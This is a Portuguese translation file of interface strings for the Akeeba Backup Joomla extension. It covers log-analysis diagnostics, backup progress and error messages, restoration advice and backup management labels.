COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_MULTIPLE_SITES_SOLUTION="Deverá excluir estes subdiretórios, pois podem levar a problemas de tempo limite."
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_OLD_BACKUPS="Cópias de segurança antigas incluídas"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_OLD_BACKUPS_ERROR="As seguintes cópias de segurança antigas estão incluídas na cópia de segurança atual: \n%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_OLD_BACKUPS_SOLUTION="Elimine-as ou exclua-as da cópia de segurança."
COM_AKEEBABACKUP_ALICE_ANALYZE_LABEL_PROGRESS="Progresso da análise"
COM_AKEEBABACKUP_ALICE_ANALYZE_RAW_OUTPUT="O analisador de registos detetou um ou mais problemas na cópia de segurança. Se seguir as sugestões deste analisador de registos e as instruções da nossa documentação de resolução de problemas não funcionar e tiver uma subscrição ativa no nosso sítio, por favor abra um novo pedido colando a seguinte <em>saída de texto da análise do registo</em> para nos ajudar a prestar-lhe suporte mais rápido."
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS="A verificar os requisitos do sistema"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DATABASE="Tipo e versão da base de dados"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DATABASE_SOLUTION="O Akeeba Backup só suporta MySQL 5.0.47 ou posterior"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DATABASE_UNKNOWN="Não foi possível detetar o tipo da sua base de dados. Tipo detetado: %s"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DATABASE_UNSUPPORTED="O seu servidor de base de dados ainda não é suportado. Tipo de base de dados detetado: %s"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DATABASE_VERSION_TOO_OLD="Versão da base de dados demasiado antiga. Versão detetada: %s"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DBPERMISSIONS="Permissões da base de dados"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DBPERMISSIONS_ERROR="Parece que não pode executar instruções SHOW TABLE e/ou SHOW VIEW na sua base de dados."
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DBPERMISSIONS_SOLUTION="Por favor contacte o seu alojamento"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_MEMORY="Memória disponível"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_MEMORY_SOLUTION="Por favor contacte o seu alojamento e peça-lhes instruções para aumentar o limite de memória do PHP."
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_MEMORY_TOO_FEW="O Akeeba Backup necessita de pelo menos 16Mb de memória disponível. Memória disponível detetada: %sMb"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_PHP_VERSION="Versão do PHP"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_PHP_VERSION_ERR_TOO_OLD="Versão do PHP demasiado antiga. Versão detetada: %s"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_PHP_VERSION_SOLUTION="O Akeeba Backup necessita de PHP 5.6 ou PHP 7"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIMEERRORS="A verificar erros de execução"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_CORRUPTED_INSTALL="Integridade da instalação"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_CORRUPTED_INSTALL_ERROR="Parece que a sua instalação está danificada. Isto pode acontecer quando o alojamento aplica regras de segurança muito rígidas, identificando erradamente os ficheiros do Akeeba Backup como ameaças de segurança e eliminando-os ou renomeando-os sem o avisar."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_CORRUPTED_INSTALL_SOLUTION="Por favor reinstale o Akeeba Backup <strong>sem o desinstalar</strong>. Se isto não ajudar, por favor contacte imediatamente o seu alojamento."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_JSAME="Base de dados adicional - Inclusão da base de dados do Joomla"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_JSAME_ERROR="Adicionou a base de dados do Joomla como base de dados adicional; alguns servidores podem recusar uma segunda ligação à mesma base de dados, resultando num erro de cópia de segurança"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_JSAME_SOLUTION="Remova a base de dados do Joomla das bases de dados adicionais"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_NO_PROFILE="Não foi possível detetar o perfil utilizado, teste ignorado"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_WRONG="Base de dados adicional - Detalhes de acesso incorretos"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_WRONG_ERROR="Uma (ou mais) base de dados adicional tem detalhes de acesso inválidos"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_WRONG_SOLUTION="Por favor reveja os detalhes de ligação das bases de dados adicionais"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_ERRORFILES="Ficheiros de registo de erros"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_ERRORFILES_FOUND="Existem ficheiros de registo de erros incluídos dentro do arquivo da cópia de segurança:<br/>%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_ERRORFILES_SOLUTION="Pode excluir estes ficheiros usando a seguinte expressão regular: <strong>#(/php_error_cpanel\.|php_error_cpanel\.|/error_)log#</strong>"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_FATALERROR="Erros fatais"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_FATALERROR_ERROR="O seguinte erro fatal ocorreu durante a cópia de segurança. Por favor reveja-o e corrija-o antes de continuar: \n%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_FATALERROR_SOLUTION="Se não compreender o que isto significa e tiver uma subscrição ativa no nosso sítio, por favor abra um novo pedido de suporte certificando-se de que 1. comprimiu em ZIP e anexou o ficheiro de registo da cópia de segurança e 2. colou a saída de texto visível no topo desta página."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_KETTENRAD="Problemas ao guardar o estado do motor de cópia de segurança"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_KETTENRAD_SOLUTION="Parece que um único pedido foi processado mais do que uma vez pelo seu servidor. Isto leva a falhas durante o processo de cópia de segurança ou a arquivos corrompidos; deverá contactar o seu alojamento e reportar este problema."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_KETTENRAD_STARTING_MORE_ONCE="A tentar iniciar o passo %s mais do que uma vez."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_PART_SIZE="Motor de pós-processamento e tamanho das partes do arquivo"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_PART_SIZE_ERROR="Foi encontrado um motor de pós-processamento, mas não foi definido um tamanho de parte; isto pode levar a problemas de tempo limite"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_PART_SIZE_SOLUTION="Defina um tamanho de parte na configuração do perfil de cópia de segurança."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TIMEOUT="Tempo limite durante a cópia de segurança"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TIMEOUT_KETTENRAD_BROKEN="Já existe um problema com o motor de cópia de segurança a guardar o seu estado. Por favor corrija-o antes de continuar."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TIMEOUT_MAX_EXECUTION="O script de cópia de segurança atingiu um limite de tempo. Tempo limite detetado: %s"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TIMEOUT_SOLUTION="Por favor tente definir o tempo mínimo de execução para 1, o tempo máximo de execução para 10 segundos (ou, se o tempo limite do PHP for inferior a 10 segundos, use 75% do tempo limite do PHP), viés de tempo de execução 75%"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYDBS="Número de tabelas a serem guardadas"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYDBS_ERROR="Está a tentar fazer cópia de segurança de demasiadas tabelas. Por favor evite fazer cópia de segurança de diferentes instalações do Joomla! de uma só vez."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYDBS_SOLUTION="Pode excluir tabelas não essenciais usando a seguinte expressão regular: <strong>!/^#__/</strong>"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYROWS="Contagem de linhas da tabela"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYROWS_ERROR="Está a tentar fazer cópia de segurança de tabelas com muitas linhas (mais de 1 milhão):\n%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYROWS_ROWS="linhas"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYROWS_SOLUTION="Deverá excluir estas tabelas usando a funcionalidade <strong>Exclusão de Tabelas da Base de Dados</strong>"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYROWS_TABLE="Tabela"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_WINCANTAPPEND="Problemas ao escrever o arquivo da cópia de segurança"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_WINCANTAPPEND_ERROR="Não foi possível abrir o ficheiro de arquivo para anexar."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_WINCANTAPPEND_SOLUTION="Por favor verifique se tem espaço em disco suficiente, ou se os recursos estão a esgotar-se ou se precisa de impedir a cópia de segurança do sistema (Windows) e a análise antivírus enquanto a cópia de segurança decorre."
COM_AKEEBABACKUP_ALICE_ERR_ANALYZEFAILED_HEADER="A análise do registo falhou"
COM_AKEEBABACKUP_ALICE_ERR_ANALYZEFAILED_INFO="A análise do registo foi interrompida. O analisador de registos reportou o seguinte erro:"
COM_AKEEBABACKUP_ALICE_ERR_CANNOT_OPEN_LOGFILE="A análise do ficheiro de registo falhou: não foi possível abrir o ficheiro de registo %s para leitura."
COM_AKEEBABACKUP_ALICE_HEADER_CHECK="Verificação realizada"
COM_AKEEBABACKUP_ALICE_HEADER_RESULT="Resultado"

COM_AKEEBABACKUP_ALICE_ERR_NOLOGS="Não foram encontrados ficheiros de registo de cópias de segurança <strong>falhadas</strong>."
COM_AKEEBABACKUP_ALICE_HEAD_ONLYFAILED="O ALICE só funciona em cópias de segurança <em>falhadas</em>"
COM_AKEEBABACKUP_ALICE_LBL_ONLYFAILED_SHOWINGLOGS="O ALICE é uma ferramenta para analisar os ficheiros de registo de cópias de segurança <em>falhadas</em> e — na maioria dos casos — indicar-lhe a causa mais provável da falha da cópia de segurança. Não se destina a analisar os ficheiros de registo de cópias de segurança bem-sucedidas. Fazê-lo devolveria resultados sem sentido, enganadores ou completamente errados. Por esta razão, só lhe mostraremos os ficheiros de registo de cópias de segurança <em>falhadas</em>."
COM_AKEEBABACKUP_ALICE_LBL_ONLYFAILED_WHATISFAILED="Por favor lembre-se de que cópias de segurança que não terminaram o envio do arquivo de cópia de segurança para o armazenamento remoto não são consideradas falhadas. A causa raiz destes problemas não pode ser detetada pelo ALICE de qualquer forma. Se tiver este tipo de problema, precisa de abrir um pedido de suporte na secção de Suporte do nosso sítio. Se outra pessoa instalou o Akeeba Backup Professional por si no seu sítio, por favor contacte essa pessoa em vez disso; neste caso não poderá abrir um pedido de suporte no nosso sítio."
COM_AKEEBABACKUP_ALICE_LBL_ONLYFAILED_IFNOFAILED="Se a sua cópia de segurança falhou mas não a vê nesta página, por favor aguarde <em>três (3) minutos</em>, volte à página do Painel de Controlo do Akeeba Backup e depois regresse aqui. Há uma razão para isso. Em alguns casos a falha da cópia de segurança é causada por um erro do servidor. Nestes casos a cópia de segurança é marcada como ainda em curso em vez de falhada, uma vez que o PHP para de funcionar e, portanto, o nosso código PHP que marcaria a cópia de segurança como falhada não tem oportunidade de ser executado. Quando visita a página do Painel de Controlo, qualquer cópia de segurança marcada como ainda em curso há mais de 3 minutos será marcada como falhada. Daí a necessidade de aguardar e <em>depois</em> regressar à página do Painel de Controlo."

COM_AKEEBABACKUP_BACKUP="Fazer cópia de segurança agora"
COM_AKEEBABACKUP_BACKUP_ANALYSELOG="Analisar ficheiro de registo (ALICE)"
COM_AKEEBABACKUP_BACKUP_ANGIE_PASSWORD_WARNING_1="O Script de Restauração do Akeeba Backup só ficará acessível se fornecer a palavra-passe que definiu na página anterior, antes de clicar no botão Fazer Cópia de Segurança Agora. Se não se lembra de ter definido uma palavra-passe, o seu navegador preencheu automaticamente a palavra-passe na página de Configuração <strong>sem lhe perguntar</strong>. Isto é feito por muitos gestores de palavras-passe e navegadores."
COM_AKEEBABACKUP_BACKUP_ANGIE_PASSWORD_WARNING_2="Os navegadores e gestores de palavras-passe modernos não nos permitem anular este comportamento. Implementámos uma defesa em JavaScript contra este tipo de preenchimento automático não consentido do campo da palavra-passe na página de Configuração. No entanto, se guardar a página de Configuração no espaço de aproximadamente meio segundo após esta carregar, esta defesa não terá oportunidade de ser executada."
COM_AKEEBABACKUP_BACKUP_ANGIE_PASSWORD_WARNING_HEADER="AVISO: Definiu uma palavra-passe para o Script de Restauração"
COM_AKEEBABACKUP_BACKUP_DEFAULT_DESCRIPTION="Cópia de segurança realizada em"
COM_AKEEBABACKUP_BACKUP_ERROR_UNWRITABLEOUTPUT_AUTOBACKUP="A cópia de segurança automática não pode ser iniciada porque o seu diretório de saída não tem permissão de escrita. Por favor siga as instruções abaixo para corrigir este problema."
COM_AKEEBABACKUP_BACKUP_ERROR_UNWRITABLEOUTPUT_COMMON="Para corrigir este problema, por favor vá à <a href=\"%s\">Página de Configuração</a> e defina o Diretório de Saída como <code>[DEFAULT_OUTPUT]</code> (tudo em maiúsculas, incluindo os parênteses). Se mesmo assim não funcionar, por favor consulte <a href=\"%s\">as nossas instruções de resolução de problemas</a>"
COM_AKEEBABACKUP_BACKUP_ERROR_UNWRITABLEOUTPUT_NORMALBACKUP="O Akeeba Backup não pode fazer uma cópia de segurança do seu sítio porque o diretório de saída não tem permissão de escrita. Por favor siga as instruções abaixo para corrigir este problema."
COM_AKEEBABACKUP_BACKUP_ERROR_PROFILE_NO_ACCESS="Não tem acesso a este perfil de cópia de segurança."
COM_AKEEBABACKUP_BACKUP_HEADER_BACKUPFAILED="A cópia de segurança falhou"
COM_AKEEBABACKUP_BACKUP_HEADER_BACKUPFINISHED="Cópia de segurança concluída com sucesso"
COM_AKEEBABACKUP_BACKUP_HEADER_BACKUPRETRY="Cópia de segurança interrompida e será retomada automaticamente"
COM_AKEEBABACKUP_BACKUP_HEADER_BACKUPWITHRETURNURLFINISHED="O processo foi concluído com sucesso"
COM_AKEEBABACKUP_BACKUP_HEADER_STARTNEW="Iniciar uma nova cópia de segurança"
COM_AKEEBABACKUP_BACKUP_LABEL_COMMENT="Comentário da cópia de segurança"
COM_AKEEBABACKUP_BACKUP_LABEL_COMMENT_HELP="Isto aparecerá tanto na página Gerir Cópias de Segurança como dentro do arquivo da cópia de segurança (no ficheiro installation/README.html) para sua conveniência."
COM_AKEEBABACKUP_BACKUP_LABEL_DESCRIPTION="Descrição breve"
COM_AKEEBABACKUP_BACKUP_LABEL_DESCRIPTION_HELP="Isto aparecerá na página Gerir Cópias de Segurança para sua conveniência."
COM_AKEEBABACKUP_BACKUP_LABEL_DETECTEDQUIRKS="O Akeeba Backup pode não funcionar como esperado"
COM_AKEEBABACKUP_BACKUP_LABEL_DOMAIN_FINISHED="A finalizar o processo de cópia de segurança"
COM_AKEEBABACKUP_BACKUP_LABEL_DOMAIN_INIT="A inicializar o processo de cópia de segurança"
COM_AKEEBABACKUP_BACKUP_LABEL_DOMAIN_INSTALLER="A incorporar o instalador no arquivo"
COM_AKEEBABACKUP_BACKUP_LABEL_DOMAIN_PACKDB="A fazer cópia de segurança das bases de dados"
COM_AKEEBABACKUP_BACKUP_LABEL_DOMAIN_PACKING="A fazer cópia de segurança dos ficheiros"
COM_AKEEBABACKUP_BACKUP_LABEL_PROGRESS="Progresso da cópia de segurança"
COM_AKEEBABACKUP_BACKUP_LABEL_QUIRKSLIST="O Akeeba Backup detetou os seguintes potenciais problemas:"
COM_AKEEBABACKUP_BACKUP_LABEL_RESTORE_DEFAULT="Restaurar predefinição"
COM_AKEEBABACKUP_BACKUP_LABEL_START="Fazer cópia de segurança agora!"
COM_AKEEBABACKUP_BACKUP_LABEL_WARNINGS="Avisos"
COM_AKEEBABACKUP_BACKUP_LBL_EXPLAIN_PROFILES="Pode alterar o perfil de cópia de segurança ativo acima para fazer uma cópia de segurança usando definições diferentes. Pode criar perfis de cópia de segurança na página Perfis."
COM_AKEEBABACKUP_BACKUP_LBL_UPGRADENAG="Cansado de ver esta página? Pode automatizar as suas cópias de segurança com o Akeeba Backup Professional."
COM_AKEEBABACKUP_BACKUP_STATS="Estatísticas da cópia de segurança"
COM_AKEEBABACKUP_BACKUP_STATUS_NONE="Nenhuma cópia de segurança realizada"
COM_AKEEBABACKUP_BACKUP_TEXT_AVGWARNING="Está a executar o AVG Antivirus com o Link Scanner ativado. Sabe-se que isto causa problemas na cópia de segurança. Por favor desative a funcionalidade Link Scanner se encontrar algum problema.\n\nTem a certeza de que pretende continuar apesar deste aviso?"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKINGUP="Por favor <strong>NÃO</strong> navegue para outra página, mude para outro separador / janela do navegador, ou mude para <em>uma aplicação diferente</em> a menos que veja uma mensagem de conclusão ou de erro. Certifique-se de que o seu dispositivo não entra em modo de suspensão enquanto a cópia de segurança está em curso."
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPFAILED="A operação de cópia de segurança foi interrompida porque foi detetado um erro.<br />A última mensagem de erro foi:"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPFAILEDRETRY="A operação de cópia de segurança foi interrompida porque foi detetado um erro. No entanto, o Akeeba Backup tentará retomar a cópia de segurança. Se não pretende retomar a cópia de segurança, por favor clique no botão Cancelar abaixo."
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPFINISHED="Cópia de segurança terminada em"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPHALT="Cópia de segurança interrompida"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPHALT_DESC="A cópia de segurança será retomada em %d segundos"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPRESUME="Cópia de segurança retomada em"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPSTARTED="Cópia de segurança iniciada em"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPWARNING="A cópia de segurança gerou um aviso"
COM_AKEEBABACKUP_BACKUP_TEXT_BTNRESUME="Retomar"
COM_AKEEBABACKUP_BACKUP_TEXT_CONGRATS="Parabéns! O processo de cópia de segurança foi concluído com sucesso.<br/>Pode agora navegar para outra página."
COM_AKEEBABACKUP_BACKUP_TEXT_LASTERRORMESSAGEWAS="Para sua informação, a última mensagem de erro foi:"
COM_AKEEBABACKUP_BACKUP_TEXT_LASTRESPONSE="Última resposta do servidor há %ss"
COM_AKEEBABACKUP_BACKUP_TEXT_PLEASEWAITFORREDIRECTION="Por favor aguarde; está a ser redirecionado para a próxima página.<br/>Isto pode demorar 5 a 30 segundos, dependendo da sua ligação à Internet."
COM_AKEEBABACKUP_BACKUP_TEXT_READLOGFAIL="Por favor clique no botão 'Ver Registo' na barra de ferramentas para ver o ficheiro de registo do Akeeba Backup e obter mais informações."
COM_AKEEBABACKUP_BACKUP_TEXT_READLOGFAILPRO="Por favor clique no botão 'Analisar Registo' abaixo para que o Akeeba Backup analise o seu ficheiro de registo e obtenha mais informações."
COM_AKEEBABACKUP_BACKUP_TEXT_RTFMTOSOLVE="Recomendamos vivamente que siga as instruções passo a passo do nosso <a href=\"%s\">assistente de resolução de problemas</a> para resolver facilmente este problema sozinho."
COM_AKEEBABACKUP_BACKUP_TEXT_RTFMTOSOLVEPRO="Seguir as sugestões do ALICE, o nosso analisador de registos, pode não ser suficiente. O analisador de registos automático não consegue cobrir todos os casos de problemas possíveis."
COM_AKEEBABACKUP_BACKUP_TEXT_SOLVEISSUE_CORE="Se isto não ajudar, pode considerar <a href=\"%s\">adquirir uma subscrição</a> para que possa pedir suporte no nosso <a href=\"%s\">sistema de pedidos de suporte</a>."
COM_AKEEBABACKUP_BACKUP_TEXT_SOLVEISSUE_LOG="Se publicar no nosso sistema de pedidos, por favor lembre-se de comprimir em ZIP e anexar o seu <a href=\"%s\">ficheiro de registo da cópia de segurança</a> na sua publicação para que possamos ajudá-lo mais rapidamente."
COM_AKEEBABACKUP_BACKUP_TEXT_SOLVEISSUE_PRO="Se isto não ajudar, por favor não hesite em pedir suporte no nosso <a href=\"%s\">sistema de pedidos de suporte</a>. Note que necessita de uma subscrição ativa para solicitar assistência através do sistema de pedidos. Se o Akeeba Backup Professional foi instalado no seu sítio por terceiros - por exemplo, o seu programador web - por favor não contacte a Akeeba Ltd para suporte. Em vez disso, contacte a pessoa que instalou o software no seu sítio e solicite assistência para resolver este problema."
COM_AKEEBABACKUP_BACKUP_TEXT_WILLRETRY="A cópia de segurança será retomada em"
COM_AKEEBABACKUP_BACKUP_TEXT_WILLRETRYSECONDS="segundos"
COM_AKEEBABACKUP_BACKUP_TROUBLESHOOTINGDOCS="Documentação de resolução de problemas"

COM_AKEEBABACKUP_BROWSER_ERR_BASEDIR="O diretório especificado está sujeito a restrições open_basedir. Não pode ser usado para saída de cópia de segurança, nem o seu conteúdo, se existir, pode ser listado."
COM_AKEEBABACKUP_BROWSER_ERR_NONROOT="Para sua informação: Este diretório está fora da raiz web do seu sítio."
COM_AKEEBABACKUP_BROWSER_ERR_NOTEXISTS="O diretório especificado não existe!"
COM_AKEEBABACKUP_BROWSER_LBL_GO="Ir"
COM_AKEEBABACKUP_BROWSER_LBL_GOPARENT="&lt;subir um nível&gt;"
COM_AKEEBABACKUP_BROWSER_LBL_USE="Usar"

COM_AKEEBABACKUP_BUADMIN="Gerir Cópias de Segurança"
COM_AKEEBABACKUP_BUADMIN_TABLE_CAPTION="Tabela de tentativas de cópia de segurança"
COM_AKEEBABACKUP_BUADMIN_SORT_BACKUPSTART_ASC="Início da cópia de segurança ascendente"
COM_AKEEBABACKUP_BUADMIN_SORT_BACKUPSTART_DESC="Início da cópia de segurança descendente"
COM_AKEEBABACKUP_BUADMIN_BTN_DONTSHOWTHISAGAIN="Entendido!"
COM_AKEEBABACKUP_BUADMIN_BTN_REMINDME="Lembrar-me da próxima vez"
COM_AKEEBABACKUP_BUADMIN_ERROR_INVALIDDOWNLOAD="Não é possível transferir o ficheiro do registo de cópia de segurança especificado"
COM_AKEEBABACKUP_BUADMIN_ERROR_INVALIDID="Identificador de registo de cópia de segurança inválido"
COM_AKEEBABACKUP_BUADMIN_ERR_CANNOT_DELETE_ARCHIVES="Não foi possível eliminar os ficheiros de arquivo da cópia de segurança. Por favor verifique as permissões."
COM_AKEEBABACKUP_BUADMIN_ERR_CANNOT_DELETE_RECORD="Não foi possível eliminar o registo de arquivo da cópia de segurança."
COM_AKEEBABACKUP_BUADMIN_N_ITEMS_PUBLISHED_1="O registo de cópia de segurança foi congelado."
COM_AKEEBABACKUP_BUADMIN_N_ITEMS_PUBLISHED="%d registos de cópia de segurança foram congelados."
COM_AKEEBABACKUP_BUADMIN_N_ITEMS_UNPUBLISHED_1="O registo de cópia de segurança foi descongelado."
COM_AKEEBABACKUP_BUADMIN_N_ITEMS_UNPUBLISHED="%d registos de cópia de segurança foram descongelados."
COM_AKEEBABACKUP_BUADMIN_FROZENRECORD_ERROR="Não é possível realizar a ação selecionada num registo congelado"
COM_AKEEBABACKUP_BUADMIN_LABEL_ACTION_FREEZE="Congelar registo"
COM_AKEEBABACKUP_BUADMIN_LABEL_ACTION_UNFREEZE="Descongelar registo"
COM_AKEEBABACKUP_BUADMIN_LABEL_COMMENT="Comentário"
COM_AKEEBABACKUP_BUADMIN_LABEL_DELETEFILES="Eliminar ficheiros"
COM_AKEEBABACKUP_BUADMIN_LABEL_DESCRIPTION="Descrição"
COM_AKEEBABACKUP_BUADMIN_LABEL_DURATION="Duração"
COM_AKEEBABACKUP_BUADMIN_LABEL_FROZEN="Congelado"
COM_AKEEBABACKUP_BUADMIN_LABEL_FROZEN_FROZEN="Congelado"
COM_AKEEBABACKUP_BUADMIN_LABEL_FROZEN_SELECT="– Congelado –"
COM_AKEEBABACKUP_BUADMIN_LABEL_FROZEN_UNFROZEN="Descongelado"
COM_AKEEBABACKUP_BUADMIN_LABEL_HOWDOIRESTORE_LEGEND="Como restauro as minhas cópias de segurança?"
COM_AKEEBABACKUP_BUADMIN_LABEL_HOWDOIRESTORE_TEXT_CORE="<p>Pode restaurar as suas cópias de segurança em qualquer servidor, mesmo num diferente daquele onde fez a sua cópia de segurança. Siga o nosso <a href=\"%s\" target=\"_blank\">tutorial em vídeo</a>. Precisará de <a href=\"%3$s\" target=\"_blank\">transferir o Akeeba Kickstart Core (gratuitamente)</a> para extrair os arquivos da cópia de segurança, tal como o tutorial lhe indica.</p>"
COM_AKEEBABACKUP_BUADMIN_LABEL_HOWDOIRESTORE_TEXT_CORE_INFO_ABOUT_PRO="<strong>Pode ser <em>mais</em> fácil do que isto.</strong>Pode restaurar arquivos de cópia de segurança no mesmo servidor ou num diferente a partir da interface do Akeeba Backup. Sem necessidade de transferir ficheiros por si próprio. Descubra estas e muitas outras funcionalidades disponíveis exclusivamente no <a href=\"%s\">Akeeba Backup Professional</a>!"
COM_AKEEBABACKUP_BUADMIN_LABEL_HOWDOIRESTORE_TEXT_PRO="<p>É fácil! Selecione a caixa de verificação ao lado de uma entrada de cópia de segurança. Agora clique no botão <em>Restaurar</em> na barra de ferramentas.</p><p>Se pretender restaurar para um servidor novo e público, pode usar o <a href=\"%2$s\">Assistente de Transferência de Sítio</a>. Se preferir fazê-lo manualmente ou restaurar para o seu próprio computador ou Intranet, por favor veja o nosso <a href=\"%1$s\" target=\"_blank\">tutorial em vídeo</a> e <a href=\"%3$s\" target=\"_blank\">transfira o Akeeba Kickstart Core (gratuitamente)</a> para extrair os arquivos da cópia de segurança.</p>"
COM_AKEEBABACKUP_BUADMIN_LABEL_ID="ID"
COM_AKEEBABACKUP_BUADMIN_LABEL_MANAGEANDDL="Gerir &amp; Transferir"
COM_AKEEBABACKUP_BUADMIN_LABEL_NODESCRIPTION="(sem descrição)"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN="Origem"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_BACKEND="Backend"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_CLI="Linha de comandos"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_FRONTEND="Frontend"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_JSON="JSON API"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_JOOMLA="Tarefas Agendadas do Joomla"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_JOOMLACLI="Tarefas Agendadas do Joomla (apenas CLI)"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_SELECT="– Origem –"
COM_AKEEBABACKUP_BUADMIN_LABEL_PART="Parte %02d"
COM_AKEEBABACKUP_BUADMIN_LABEL_PROFILEID="Perfil"
COM_AKEEBABACKUP_BUADMIN_LABEL_REMOTEFILEMGMT="Gerir ficheiros armazenados remotamente"
COM_AKEEBABACKUP_BUADMIN_LABEL_RESTORE="Restaurar"
COM_AKEEBABACKUP_BUADMIN_LABEL_SIZE="Tamanho"
COM_AKEEBABACKUP_BUADMIN_LABEL_START="Hora de início da cópia de segurança"
COM_AKEEBABACKUP_BUADMIN_LABEL_END="Hora de fim da cópia de segurança"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS="Estado"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_COMPLETE="Terminada"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_FAIL="Falhada"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_OBSOLETE="Obsoleta"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_OK="OK"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_PENDING="Pendente"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_REMOTE="Remota"
COM_AKEEBABACKUP_BUADMIN_LABEL_TYPE="Tipo"
COM_AKEEBABACKUP_BUADMIN_LABEL_FROM_DATE="Cópia de segurança realizada após"
COM_AKEEBABACKUP_BUADMIN_LABEL_TO_DATE="Cópia de segurança realizada antes"
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVEEXISTS="O meu arquivo de cópia de segurança ainda está disponível no meu servidor?"
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVENAME="Como se chama?"
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVENAME_PAST="Como se chamava?"
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVEPATH="Onde o posso encontrar no meu servidor?"
